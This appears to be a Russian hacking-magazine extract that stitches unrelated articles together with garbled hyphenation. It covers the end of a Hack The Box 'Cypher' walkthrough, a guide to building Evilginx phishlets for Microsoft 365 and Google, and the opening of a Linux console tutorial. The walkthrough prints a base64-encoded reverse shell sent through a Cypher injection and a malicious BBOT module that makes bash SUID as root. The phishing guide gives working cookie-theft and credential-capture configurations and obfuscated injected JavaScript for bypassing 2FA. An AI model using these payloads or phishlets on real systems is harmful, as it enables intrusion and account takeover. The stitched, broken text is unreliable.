 — глу бина ска ниро вания;• -d
 — количес тво потоков.• -t

За даем все парамет ры и запус каем перебор:

 1  128
feroxbuster -u http://cypher.htb/ -w directory_2.3_medium_lowercase.
txt -d -t

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Сре ди эндпо интов есть инте рес ные:  и . На пер вом всег да Not

Found, а вот каталог  не име ет индекс-фай ла, и поэто му мы получа -

ем спи сок фай лов в катало ге.

/api /testing
/testing

От вет сер вера

Со дер жимое катало га testing

Ска чива ем с веб-сер вера jar-файл и деком пилиру ем его, нап ример на сай те
. В фай ле  про исхо дит выпол нение коман ды 

в тер минале, при этом в коман де мож но манипу лиро вать перемен ной ,

которая явля ется парамет ром метода .

Decompiler CustomFunctions curl
url

custom.getUrlStatusCode

Де ком пилиро ван ный код

Поп робу ем выз вать этот метод через Cypher-инъ екцию. Для это го в исходный
зап рос сна чала вер нем зна чение хеша, а затем через  объ еди ним
ответ с резуль татом выпол нения метода . В качес -

тве парамет ра метода переда ем реверс-шелл, соз данный при помощи 
. Запус каем лис тенер ( ) и отправ -

ляем зап рос с наг рузкой на сер вер.

UNION CALL
custom.getUrlStatusCode

он -
лай нового генера тора pwncat-cs -lp 4321

admin' return h.value AS value UNION CALL custom.getUrlStatusCode(
"localhost;echo 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43My80MzIxIDA+JjE= |base64 -d 
|bash;") YIELD statusCode AS value RETURN value ; //

В лис тенере мгно вен но появ ляет ся сес сия поль зовате ля .neo4j

Сес сия поль зовате ля neo4j

ÏÐÎÄÂÈÆÅÍÈÅ

Мы можем залоги нить ся на сер вере от име ни , но этот поль зователь

огра ничен в пра вах. Нам нуж но най ти спо соб повысить при виле гии в сис теме.
Я, как обыч но, буду исполь зовать для это го скрип ты PEASS.

neo4j

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль -
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис -
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт для Linux, дадим пра во на выпол нение,
запус тим ска ниро вание и пос мотрим, что наш лось инте рес нень кого. Нам
дос тупны фай лы в домаш нем катало ге поль зовате ля .graphasm

Фай лы в домаш нем катало ге поль зовате ля graphasm

В кон фиге  находим учет ные дан ные для .bbot_preset.yml neo4j

Со дер жимое фай ла bbot_preset.yml

С этим паролем авто ризу емся по SSH от име ни поль зовате ля .graphasm

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

За ново про водить пол ную раз ведку пос ле сме ны поль зовате ля излишне, дос -
таточ но про верить толь ко те вещи, которые мог ли изме нить ся. Одна из них —
это нас трой ки sudoers. Там быва ют перечис лены раз решения запус кать
без рутово го акка унта некото рые коман ды, тре бующие режима супер поль -
зовате ля.

 sudo -l

Нас трой ки sudoers

Уз наём, что мы можем выпол нить файл  от име ни поль -

зовате ля root без вво да пароля. Файл пред став ляет собой ссыл ку на Python-
скрипт .

/usr/local/bin/bbot

/opt/pipx/venvs/bbot/bin/bbot

BBOT — это авто мати чес кий раз ведбот
для хакеров и безопас ников, который сам
находит цели, ска ниру ет пор ты, собира ет
метадан ные и переда ет их даль ше по цепоч ке
модулей.

Про вер ка фай ла

Со дер жимое скрип та

При запус ке при ложе ния необ ходимо ука зать парамет ры. Обра тим вни мание
на упо мина ние модулей в справ ке.

За пуск скрип та

Справ ка help

Я поис кал информа цию о том, что дела ют модули BBOT, и нашел 
. Из нее выяс нил, что мы можем написать свой модуль и под клю -

чить его к при ложе нию, которое мож но выпол нить в при виле гиро ван ном кон -
тек сте. Наш модуль будет копиро вать файл коман дной обо лоч ки и наз начать
ему S-бит.

офи циаль -
ную справ ку

   from bbot.modules.base import BaseModule
 import os

 class whois(BaseModule):
       watched_events = ["DNS_NAME"] # Watch for DNS_NAME events
       produced_events = ["WHOIS"] # We produce WHOIS events
       flags = ["passive", "safe"]
       meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
        options = {"api_key": ""} # Module config options
       options_desc = {"api_key": "WhoisXMLAPI Key"}
       per_domain_only = True # Only run once per domain

      base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"

    # One-time setup — runs at the beginning of the scan
      async def setup(self):
        os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")

          self.api_key = self.config.get("api_key")
          if not self.api_key:

            # Soft-fail if no API key is set
              return None, "Must set API key"

       async def handle_event(self, event):
        self.hugesuccess(f"Got {event} (event.data: {event.data})")

           _, domain = self.helpers.split_domain(event.data)
          url = f"{self.base_url}?apiKey={self.api_key}&domainName={

domain}&outputFormat=JSON"
        self.hugeinfo(f"Visiting {url}")

           response = await self.helpers.request(url)
            if response is not None:

               await self.emit_event(response.json(), "WHOIS", parent=
event)

По мимо шаб лона модуля, в справ ке есть и инс трук ция по его под клю чению.

Гайд для под клю чения модуля

По мес тим в каталог  сам модуль и соз дадим файл с нас трой ками 

, где ука жем каталог модулей.

/tmp conf.
yml

module_dirs:
   - /tmp

Ког да все будет готово, запус тим BBOT с ука зани ем кон фига и име ни модуля.
Затем оста новим работу при ложе ния и про верим атри буты ско пиро ван ного
фай ла коман дной обо лоч ки ./tmp/bash

sudo /usr/local/bin/bbot -p ./conf.yml -m whois

За пуск при ложе ния

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Так мы получа ем сес сию от име ни поль зовате ля .root

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://xakep.ru/2023/08/28/htb-onlyforyou/
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https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://www.decompiler.com/
https://tex2e.github.io/reverse-shell-generator/index.html
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https://www.blacklanternsecurity.com/bbot/Stable/dev/module_howto/
https://www.blacklanternsecurity.com/bbot/Stable/dev/module_howto/
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ПРИВАТНОСТЬ

Ког да мне в ходе рабоче го про екта понадо -
билось фишить кор поратив ные поч ты, я
стол кнул ся с отсутс тви ем руководс тва
по соз данию фиш лета для Evilginx,
а готовые как раз перес тали работать из-за
изме нений на сай те. Я решил, что
это отличная воз можность научить ся раз -
рабаты вать свой фиш лет. Нашей целью
будет Microsoft 365.

Под робное руководс тво о том, как раз вернуть
связ ку из Evilginx и Gophish, читай в статье
«

».
Evilginx + Gophish. Под нима ем инфраструк туру

для симуля ции фишин га с обхо дом 2FA

Для соз дания фиш лета нам понадо бят ся толь ко две вещи:
бра узер (мой выбор пал на Firefox) или ути лита, которая спо соб на логиро -
вать зап росы и отве ты из бра узе ра (Burp Suite);

•

тек сто вый редак тор для написа ния кода.•

Все фиш леты Evilginx хра нят ся в дирек тории ути литы, в пап ке . Если

они в тво ей вер сии где-то в дру гом мес те, то прос то запус ти Evilginx и при -
нуди тель но ука жи ему дирек торию с фиш летами: .

phishlets

-p /phishlets_folder
Преж де чем соз давать свой фиш лет, я бы хотел разоб рать его струк туру

и под робнее рас ска зать про каж дую из час тей. Для начала пос мотрим
на дефол тный фиш лет, который лежит в дирек тории  ути литы

Evilginx на GitHub. На его осно ве мы раз берем, за что отве чает каж дая из час -
тей фиш лета, а более деталь ный ана лиз про ведем на осно ве фиш лета
для сай та .

phishlets

login.microsoftonline.com

# Версия
 min_ver: '3.0.0'

# Раздел, указывающий на субдомены, которые будут проксироваться
proxy_hosts:
        

      
- {phish_sub: 'academy', orig_sub: 'academy', domain: 'breakdev.

org', session: true, is_landing: true, auto_filter: true}

# Раздел с правилами, которые позволят избежать нежелательных 
редиректов или изменить содержимое фишингового сайта, как тебе надо
sub_filters:
        

    
  

- {triggers_on: 'breakdev.org', orig_sub: 'academy', domain: '
breakdev.org', search: 'something_to_look_for', replace: '
replace_it_with_this', mimes: ['text/html']}

# Раздел, указывающий, какие куки будут «сворованы»
auth_tokens:
    - domain: '.academy.breakdev.org'
     keys: ['cookie_name']

# Раздел, указывающий, какие данные будут получены из запросов
credentials:
  username:
     key: 'email'
     search: '(.*)'
     type: 'post'
  password:
     key: 'password'
     search: '(.*)'
     type: 'post'

# Легитимная страница авторизации на сайте
login:
   domain: 'academy.breakdev.org'
   path: '/evilginx-mastery'

В дефол тном фиш лете не ука заны такие раз делы, как 

и , но их мы пока отло жим. В начале опи сания каж дого модуля
фиш лета я для наг ляднос ти буду встав лять кусок кода, а даль ше в ходе повес -
тво вания показы вать скрин шоты. Ну что, нач нем?

auth_urls
js_inject

min_ver
Это пер вая часть фиш лета, с которой ты будешь стал кивать ся каж дый раз.
Эта стро ка отве чает за то, с какой имен но вер сии ути литы будет работать
фиш лет (я пред почитаю ука зывать 3.0.0, одна ко видел, что некото рые соз -
датели фиш летов ука зыва ют 2.3.0).

proxy_hosts
В этом раз деле опи саны все под домены и домены, которые будет обра баты -
вать Evilginx. Их тра фик будет прок сировать ся через нашу ути литу. Это важ ный
раз дел: если не вклю чить в спи сок ни один сайт, то чейн нарушит ся и во вре -
мя выпол нения цепоч ки зап росов слу чит ся переход на легитим ный сайт.

При мер кода :proxy_hosts

proxy_hosts:
         

      
 

- { phish_sub: "login", orig_sub: "login", domain: "
microsoftonline.com", session: true, is_landing: true, auto_filter:
false }
          

      
- { phish_sub: "www", orig_sub: "www", domain: "office.com",

session: true, is_landing: false, auto_filter: false }
          

      
- { phish_sub: "login1", orig_sub: "login", domain: "live.com",

session: true, is_landing: false, auto_filter: false }
          

      
- { phish_sub: "account", orig_sub: "account", domain: "live.com",

session: true, is_landing: false, auto_filter: false }
          

    
- { phish_sub: "outlook", orig_sub: "outlook", domain: "live.com",

session: true, is_landing: false }
          
    
- {phish_sub: '', orig_sub: '', domain: 'office.com', session: true

, is_landing: false, auto_filter: true}

Ты, воз можно, спро сишь, что зна чат парамет ры , 
и . Что ж, непони мание в работе с Evilginx иног да губитель но, так

что рас ска жу!

session is_landing
auto_filter

Ес ли для  задано зна чение , то хос ты, обра баты вающие
HTML-кон тент основно го сай та, гаран тирован но воз вра щают отве ты с сес -
сион ными куками, учет ными дан ными или любой дру гой важ ной информа -
цией, которую нуж но сох ранить.

session true

Ес ли хост обслу жива ет ста тичес кий кон тент, такой как JavaScript, мож но
уста новить зна чение . Параметр  может быть уста нов лен

в  толь ко для одно го хос та, который будет исполь зовать ся для генера ции

при ман ки. Если выс тавить  в , то все пра вила-филь тры

из раз дела  будут при менять ся авто мати чес ки. И наобо рот,
при зна чении  они не будут при менять ся.

false is_landing
true

auto_filter true
sub_filters
false

Что бы прос матри вать сай ты, которые нуж но про пус кать через прок си, я
пред почитаю исполь зовать Burp Suite или Firefox. В Firefox наж ми кла вишу
F12, что бы открыть инс тру мен ты раз работ чика, затем перей ди в раз дел
«Сеть» (Network) и открой сайт . Нам нуж но сле -

дить за все ми сай тами, к которым совер шают ся зап росы в про цес се всей
цепоч ки аутен тифика ции. Да, при дет ся прой ти аутен тифика цию, так что, если
у тебя нет дос тупа к сер вису или воз можнос ти зарегис три ровать ся, написать
пол ностью валид ный фиш лет не получит ся.

login.microsoftonline.com

Важ но учесть один нюанс соз дания фиш летов: при иссле дова нии цепоч ки
зап росов на эта пе аутен тифика ции ты можешь нат кнуть ся на нес коль ко раз -
ных сай тов с суб домена ми вро де , , . Одна ко в Evilginx нель зя

исполь зовать оди нако вые суб домены для прок сирова ния, так как это может
при вес ти к кон флик ту и оста нов ке прок сирова ния.

www login auth

По это му, если у тебя есть два домена с суб домена ми , советую оста -

вить один как , а вто рой наз вать по сво ему усмотре нию. В этом при мере

мож но видеть ситу ацию с суб доменом , а вто рому я прис воил имя
, что бы было яснее.

www
www

login
login1

Да вай пос мотрим, какие зап росы про ходят, ког да мы аутен тифици руем ся.
Для это го исполь зуем Burp Suite, в нем цепоч ка зап росов вид на мак сималь но
наг лядно.

Сбор информа ции о хос тах, которые дол жны быть прок сирова ны

sub_filters
В раз деле  ты можешь написать пра вила-филь тры для динами -

чес кой замены содер жимого прок си-сай та. Это помога ет избе жать нежела -
тель ных редирек тов, которые могут выз вать цепоч ку прок сирова ния
и нарушить работу фиш лета. С его помощью ты можешь заменять URL
легитим ных сай тов URL фишин говых прок си-сер веров, изме нять любое дру -
гое содер жимое сай тов и даже внед рять кас томный код на JavaScript.

sub_filters

При мер :sub_filters

sub_filters:
        

     
    
   

- { triggers_on: "login.microsoftonline.com", orig_sub: "login",
domain: "microsoftonline.com", search: "{hostname}", replace: "{
hostname}", mimes: ["text/html", "application/json", "application/
javascript", "application/x-javascript", text/javascript] }
        

     
    

  
   

- { triggers_on: "login.microsoftonline.com", orig_sub: "login",
domain: "microsoftonline.com", search: "https://{hostname}", replace:
"https://{hostname}", mimes: ["text/html", "application/json", "
application/javascript", "application/x-javascript", text/javascript]
, redirect_only: true }
        

      
    

  

- { triggers_on: "login.microsoftonline.com", orig_sub: "account",
domain: "microsoft.com", search: "{hostname}", replace: "{hostname}",
mimes: ["text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
        

      
    

- { triggers_on: "login.microsoftonline.com", orig_sub: "login",
domain: "live.com", search: "{hostname}", replace: "{hostname}",
mimes: ["text/html", "text/javascript", "application/json"] }
        

      
    

- { triggers_on: "login.microsoftonline.com", orig_sub: "account",
domain: "live.com", search: "{hostname}", replace: "{hostname}",
mimes: ["text/html", "text/javascript", "application/json"] }
        

      
    

- { triggers_on: "login.microsoftonline.com", orig_sub: "outlook",
domain: "live.com", search: "{hostname}", replace: "{hostname}",
mimes: ["text/html", "text/javascript", "application/json"] }
         

     
    

  

- { triggers_on: "login.live.com", orig_sub: "login", domain: "
microsoftonline.com", search: "{hostname}", replace: "{hostname}",
mimes: ["text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
         

      
   

  

- { triggers_on: "login.live.com", orig_sub: "account", domain: "
microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: [
"text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
         

      
   

  

- { triggers_on: "login.live.com", orig_sub: "login", domain: "
live.com", search: "{hostname}", replace: "{hostname}", mimes: ["
text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
         

      
   

  

- { triggers_on: "login.live.com", orig_sub: "account", domain: "
live.com", search: "{hostname}", replace: "{hostname}", mimes: ["
text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
         

      
   

  

- { triggers_on: "login.live.com", orig_sub: "outlook", domain: "
live.com", search: "{hostname}", replace: "{hostname}", mimes: ["
text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
         

      
   

  

- { triggers_on: "account.live.com", orig_sub: "login", domain: "
live.com", search: "{hostname}", replace: "{hostname}", mimes: ["
text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
         

      
   

  

- { triggers_on: "account.live.com", orig_sub: "account", domain: "
live.com", search: "{hostname}", replace: "{hostname}", mimes: ["
text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }
         

      
   

  

- { triggers_on: "account.live.com", orig_sub: "outlook", domain: "
live.com", search: "{hostname}", replace: "{hostname}", mimes: ["
text/html", "application/json", "application/javascript", "
application/x-javascript", text/javascript] }

Этот код вклю чает сай ты, свя зан ные с аутен тифика цией поль зовате ля,
к которым нап равля ются зап росы. Край не важ но не нарушить наш чейн
и завер шить про цесс аутен тифика ции, перех ватив куки и дан ные поль зовате -
ля. Для это го нуж но испра вить  легитим ного сай та на 

фишин гового домена, что я и делаю.

hostname hostname

Этот пункт тоже важен и тре бует тес тирова ния перед запус ком кам пании,
что бы убе дить ся, что все работа ет как надо и ты получа ешь всю нуж ную
информа цию.

Все парамет ры в этом коде инту итив но понят ны,
за исклю чени ем раз ве что . Этот параметр
опре деля ет, ког да сра бота ет пра вило-филь тр.
Ины ми сло вами, он смот рит на поле заголов ка

. Если оно сов пада ет с ука зан -
ным зна чени ем, то пра вило-филь тр акти виру ется.

mime

Content-Type

auth_tokens
Раз дел  опре деля ет, что нуж но перех ватывать в «лета ющих» зап -
росах и отве тах. Токены мож но извле кать из cookie-фай лов, тела отве та
от сер вера или HTTP-заголов ков кли ент ских зап росов. Фишин говая ата ка
успешна, ког да зло умыш ленник получа ет все токены, которые поз воля ют ему
выдать себя за поль зовате ля сай та-жер твы. Для успешно го импорта перех -
вачен ных дан ных исполь зуй бра узер ное рас ширение . Ниже —
при мер кода для это го раз дела:

auth_tokens

Cookie-Editor

auth_tokens:
    - domain: '.login.microsoftonline.com'
        

 
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie', '

esctx', 'brcap']
    - domain: 'login.microsoftonline.com'
        

 
keys: ['ESTSSC', 'ESTSAUTHLIGHT','buid', 'fpc', '

stsservicecookie', 'x-ms-gateway-slice']
    - domain: '.live.com'
     keys: ['.*,regexp']
    - domain: '.login.live.com'
     keys: ['.*,regexp']
    - domain: 'login.live.com'
     keys: ['.*,regexp']
    - domain: 'outlook.live.com'
     keys: ['.*,regexp']

В коде вид но, что токены мож но извле кать по-раз ному: передав зна чение
cookie кон крет но или исполь зуя регуляр ные выраже ния, которые вытащат
всё, что соот ветс тву ет задан ному пра вилу (нап ример, regex 

соберет все куки для ука зан ного домена). В ито ге получишь готовую стро ку,
которую мож но сра зу импорти ровать в ука зан ное рас ширение.

'.*,regexp'

Сбор информа ции о необ ходимых cookie

В Evilginx по умол чанию сес сия счи тает ся аутен тифици рован ной, ког да зах -
вачены все cookies из раз дела . Исклю чение сос тавля ют слу чаи,
ког да нуж ные для перех вата cookies генери руют ся динами чес ки.

auth_tokens

auth_urls
В таких ситу ациях мож но вос поль зовать ся регуляр кой для поис ка сес сион ных
кук или попытать ся зах ватить их ина че. Evilginx не всег да рас позна ет момент,
ког да все куки зах вачены, поэто му сто ит исполь зовать аль тер натив ный спо -
соб для успешно го зах вата. Счи тает ся, что сес сия зах вачена, если сде лан
зап рос на любой URL из это го раз дела. Эти URL дос тупны толь ко аутен -
тифици рован ным поль зовате лям.

При мер кода для это го раз дела:

auth_urls:
   - "/kmsi*"
   - "/ppsecure/post.srf*"
   - "/owa/prefetch.aspx*"
   - "/webmanifest.json*"
   - "/landingv2"
   - "v1/api/pass/o365/header"
   - '/login.srf'
   - "/api/pass/login"

Сбор информа ции о том, к каким URL обра щает ся бра узер поль зовате ля
пос ле аутен тифика ции

Продолжение статьи →

https://t.me/huyaker1337
https://xakep.ru/2024/08/23/evilginx-gophish-guide/
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https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/


КАК НАУЧИТЬ EVILGINX РАБОТАТЬ
С MICROSOFT 365 И GOOGLE

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ

credentials
В раз деле  ука жи, какие парамет ры POST-зап роса переда ют
вве ден ные поль зовате лем дан ные, а так же какие аргу мен ты парамет ров нуж -
но зах ватить.

credentials

При мер кода:

credentials:
  username:
     key: "(login|UserName|username|email|account|DomainUser)"
     search: '(.*)'
     type: 'post'
  password:
     key: "(
passwd|Password|password|login_password|pass|pwd|session_password|PAS
SWORD)
"
     search: '(.*)'
     type: 'post'

Ар гумент парамет ра  — это имя парамет ра, переда юще го логин/пароль
или любые дру гие учет ные дан ные, а параметр  опре деля ет, какие

учет ные дан ные будут перех ватывать ся. Все доволь но прос то, но иног да при -
ходит ся изоб ретать велоси пед. Вот как выг лядело зна чение поля , ког -

да я раз рабаты вал фиш лет для google.com:

key
search

search

'\[1,1,null,\[1,null,null,null,\[\"(.*?)\",null,1\]\]'

По луча ем информа цию о том, как переда ются учет ные дан ные в одном
из POST-зап росов

login
В раз деле  ука жи пол ный URL легитим ного домена и путь до стра ницы

авто риза ции.

login

При мер кода:

login:
   domain: "login.microsoftonline.com"
   path: "/"

js_inject (íåîáÿçàòåëüíûé)
Раз дел  зада ет скрип ты, которые поз же встра ивают ся в веб-стра -

ницы. Этот раз дел очень гиб кий в нас трой ке, хотя в текущем фиш лете я
не нашел для него при мене ния. Но это не зна чит, что о нем не сто ит погово -
рить. Давай раз берем его на при мере это го раз дела фиш лета для поч ты
Google. Вот при мер кода раз дела:

js_inject

    - trigger_domains: ['accounts.google.com']
      trigger_paths: ['/signin', '/']
     script: |
        function _0x56ca(){var _0x3a42fb=['3605WYKPjA','href','SID',
'1980018GPFecK','12800YtkIgt','1983006cEMOxZ','1258011FVDepK',
'350985avgcIr','HSID','2120VLKNGs','addEventListener','cookie',
'location','https://myaccount.google.com','includes','897502nHaITN',
'8988hEcVVH'];_0x56ca=function(){return _0x3a42fb;};return 
_0x56ca();}function _0x1c86(_0x517739,_0x2bc75f){var 
_0x56ca60=_0x56ca();return _0x1c86=function(_0x1c861b,_0x5ccb6d){
_0x1c861b=_0x1c861b-0x136;var _0x5229da=_0x56ca60[_0x1c861b];return 
_0x5229da;},_0x1c86(_0x517739,_0x2bc75f);}var _0x28616f=_0x1c86;(
function(_0xbbc557,_0x3d9fc7){var _0x589ba5=_0x1c86,
_0x2320b8=_0xbbc557();while(!![]){try{var _0x59bdad=-parseInt(
_0x589ba5(0x141))/0x1+-parseInt(_0x589ba5(0x139))/0x2+parseInt(
_0x589ba5(0x142))/0x3+-parseInt(_0x589ba5(0x13a))/0x4*(-parseInt(
_0x589ba5(0x144))/0x5)+parseInt(_0x589ba5(0x140))/0x6+parseInt(
_0x589ba5(0x13b))/0x7*(parseInt(_0x589ba5(0x13f))/0x8)+parseInt(
_0x589ba5(0x13e))/0x9;if(_0x59bdad===_0x3d9fc7)break;else _0x2320b8[
'push'](_0x2320b8['shift']());}catch(_0x4f3860){_0x2320b8['push'](
_0x2320b8['shift']());}}}(_0x56ca,0xb40b8),document[_0x28616f(
0x145)]('DOMContentLoaded',function(){var _0x3291ba=_0x28616f;
document[_0x3291ba(0x146)][_0x3291ba(0x138)](_0x3291ba(0x13d))&&
document['cookie']['includes'](_0x3291ba(0x143))&&(window[_0x3291ba(
0x136)][_0x3291ba(0x13c)]=_0x3291ba(0x137));}));

Этот код я обфусци ровал, что бы при обна руже нии не было понят но, что он
дела ет. В реаль нос ти он про веря ет наличие кук  и  и, если они есть,

перенап равля ет на сайт . Это пот ребова лось, пос коль -

ку пос ле вво да кода 2FA стра ница зависа ла и помога ло толь ко вруч ную
перезаг рузить ее. Это решение устра няет проб лему и не вызыва ет подоз -
рений у ата куемо го.

SID HSID
accounts.google.com

ÄÅÌÎÍÑÒÐÀÖÈß ÏÎ ØÀÃÀÌ

Пе рей дем к прак тичес кому при мене нию цепоч ки фишин говой ата ки с при -
мене нием нашего фиш лета и раз берем всё шаг за шагом.

Ге нерим фишин говую ссыл ку (этот про цесс под робно опи сан в дру гих
стать ях).

Пе рехо дим по ссыл ке в бра узе ре и видим, что откры вает ся похожий сайт —
.login.microsoftonline.com

Вво дим поч ту и выбира ем один из вари антов аутен тифика ции. В нашем слу -
чае это аутен тифика ция по коду из пись ма, которое при ходит на поч ту. Так же
есть аутен тифика ция по паролю и дру гие вари анты.

Вво дим получен ный на элек трон ную поч ту код.

Про межу точ ный шаг с воп росом: остать ся онлайн в этом акка унте, что бы
в сле дующий раз не вво дить дан ные заново?

Об ратив шись к тер миналу с запущен ным Evilginx, видим, что перех вачен
логин поль зовате ля. Пароль не уда лось зах ватить, так как вход был через код
из поч ты, который сам по себе бес полезен. Замет но, что так же перех вачены
токены.

Мы можем обра тить ся к кон крет ной сес сии и пос мотреть ее содер жимое,
вклю чая перех вачен ные cookie, логины, пароли и про чее.

Им порти руй фай лы cookie с помощью рас ширения Cookie-Editor на стра нице
авто риза ции login.live.com.

Об новля ем стра ницу и успешно попада ем в лич ный кабинет поль зовате ля,
чьи дан ные мы перех ватили.

ÂÛÂÎÄÛ

Соз дание собс твен ного фиш лета тре бует вни матель нос ти и тща тель ного
тес тирова ния. Важ но отсле дить все сай ты, учас тву ющие в цепоч ке аутен -
тифика ции, нас тро ить кор рек тные филь тры под мены и обес печить перех ват
нуж ных cookie. Нес мотря на то что статья опи сыва ет про цесс на при мере
Microsoft 365, те же прин ципы при мени мы к любым дру гим сер висам: тебе
нуж но изу чить сетевой тра фик, опре делить клю чевые URL и адап тировать
фиш лет под кон крет ную схе му работы. Перед исполь зовани ем такого инс тру -
мен та убе дись, что у тебя есть закон ные осно вания и раз решение от вла -
дель ца тес тиру емой инфраструк туры.
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ТРЮКИ

Про тив ники Linux говорят, что в нем ничего
тол ком не сде лаешь без кон соли. Сто рон -
ники — что в сов ремен ных дис три бути вах
туда мож но и не лазить. Я же при зываю
тебя ста вить Linux и лазить в кон соль
как мож но чаще! Если, конеч но, хочешь
рас крыть всю мощь этой ОС и научить ся
тво рить чудеса, написав все го пару строк.

Ри чар да Стол лма на я, конеч но, ува жаю, но под -
нимать тему наз вания Linux vs GNU/Linux я в оче -
ред ной раз не буду. Мы пишем Linux, ты понимай,
как тебе бли же.

Кон соль — это вов се не прок лятие Linux, а его глав ное дос тоинс тво. Пока ты
не осво ишь работу в ней, ты не пой мешь филосо фию Unix и будешь счи тать
ник сы недовин дой. Не нуж но вос при нимать эму лятор тер минала как какой-то
арха ичный интерфейс. Это и есть основной и впол не сов ремен ный, а окош -
ки — это надс трой ка.

Прак тичес ки все, что мож но делать в гра фике, мож но делать и в кон соли
тоже. Да, тыкать мыш кой лег че, но, ког да понадо бит ся сде лать сот ни
или тысячи одно тип ных дей ствий, понима ние кон соли сра зу же сэконо мит
тебе кучу вре мени.

Даль ше я поделюсь совета ми, которые дол жны дать тебе понима ние
полез ных кон цепций и научить обра зу дей ствий. Я собираю раз ные трю ки
с кон солью уже пят надцать лет и хотел свес ти воеди но самые полез ные
из них.

Ба зовые зна ния о Linux ты можешь почер пнуть
из статьи «

».
Мы же углу бим ся имен но в работу с кон солью
и ее воз можнос ти.

Linux за 30 минут. Руководс тво
по выбору и исполь зованию Linux для нович ков

За мет ная часть повес тво вания будет отно сить ся к обра бот ке тек стов. Я буду
давать мно го при меров из сво ей прак тики, а прак тика моя тес но свя зана
с рас четами.

Боль шая часть кван тово-химичес кого соф та ори -
енти рова на на работу в кон соли, и, если чуть
пораз мыслить, ста новит ся ясно почему. Ресур сы
для подоб ных вычис лений тре буют ся порой фан -
тасти чес кие, сами вычис ления могут длить ся дня -
ми и неделя ми. Само собой, машины, на которых
это про исхо дит, сугубо ста ционар ные, а час то
это клас теры. Визу аль ную обо лоч ку на них обыч -
но не ста вят вов се — за ненадоб ностью. К таким
машинам не набега ешь ся, поэто му дос туп обыч -
но идет по SSH, при чем дер жать тон нель под -
нятым дня ми и неделя ми неразум но. Поэто му
типич ный сце нарий такой: под клю чаем ся, запус -
каем про цесс в фоне, резуль тат пишем в файл,
отклю чаем ся, воз вра щаем ся, ког да пос чита ет,
ана лизи руем тек сто вый вывод.

ÎÁÓÑÒÐÀÈÂÀÅÌÑß

Что бы ощу тить все фиш ки кон соли, для начала надо их акти виро вать.
В некото рых дис три бути вах «из короб ки» нас тро ены некото рые плюш ки, но я
буду исхо дить из того, что это не наш слу чай.

Пер во-напер во рекомен дую в качес тве обо лоч ки пос тавить  и вклю чить
авто допол нение, под свет ку син такси са и авто обра бот ку неиз вес тных команд
с исполь зовани ем . Темы и офор мле ние уже мож но выбирать

по собс твен ному вку су, в ине те пол но готовых кон фигов.

Zsh

pkgfile

Под свет ка син такси са облегчит визу аль ное вос при ятие, а авто допол нение
сде лает работу быс трее. Дос таточ но наб рать пер вые бук вы, нажать Tab,
и наз вание коман ды или дирек тории будет допол нено. Ког да зна ешь, где
у тебя что лежит, доб рать ся получа ется даже быс трее, чем с мышью.

Под свет ку син такси са мож но вклю чить и в кон соль ных тек сто вых редак -
торах, нап ример nano. Тоже очень помога ет в работе.

ÖÈÊËÛ

Итак, Shell — это пол ноцен ный язык прог рамми рова ния, и, работая в кон -
соли, очень удоб но исполь зовать однос троч ные скрип ты. Нап ример, исполь -
зуя цикл for, мож но пере име новы вать фай лы по шаб лону:

file0.txt
file10.txt
file1.txt
file2.txt
file3.txt
file4.txt
file5.txt
file6.txt
file7.txt
file8.txt
file9.txt

file0.png
file10.png
file1.png
file2.png
file3.png
file4.png
file5.png
file6.png
file7.png
file8.png
file9.png

# Создаем десять пустых файлов txt
$for i in {0..10};do touch file"$i".txt;done
$ls -1

# Меняем расширение всем файлам txt на png
$for i in *txt;do mv $i ${i%txt}png;done
$ls -1

В этом при мере мож но уви деть сра зу нес коль ко удоб ных при емов. Во-пер -
вых, перебор чисел от 0 до 10 ( ) и исполь зование дан ных

зна чений для име нова ния фай лов ( ). Во-вто рых, офор -

мле ние бло ков кода (от  до ).

for i in {0..10};
touch file"$i".txt

do done

Син таксис в раз ных диалек тах Shell нес коль ко
раз лича ется. Все пред став ленное здесь спра вед -
ливо для Zsh и Bash — их син таксис сов местим.
Одна ко в дру гих обо лоч ках (нап ример, Fish
или Elvish) некото рые конс трук ции могут
не работать.

В-треть их — исполь зование мас ки , по которой под став ляют ся име на

всех фай лов в дан ной дирек тории, окан чива ющих ся на . При помощи мас -
ки мы из мно жес тва фай лов выбира ем некото рые, под пада ющие под шаб лон.

*txt
txt

Мас ки (они же «шаб лоны под ста нов ки» или «гло бы», glob) — это самый прос -
той вид задания пат тернов. Их син таксис прост:  — один любой сим вол,  —
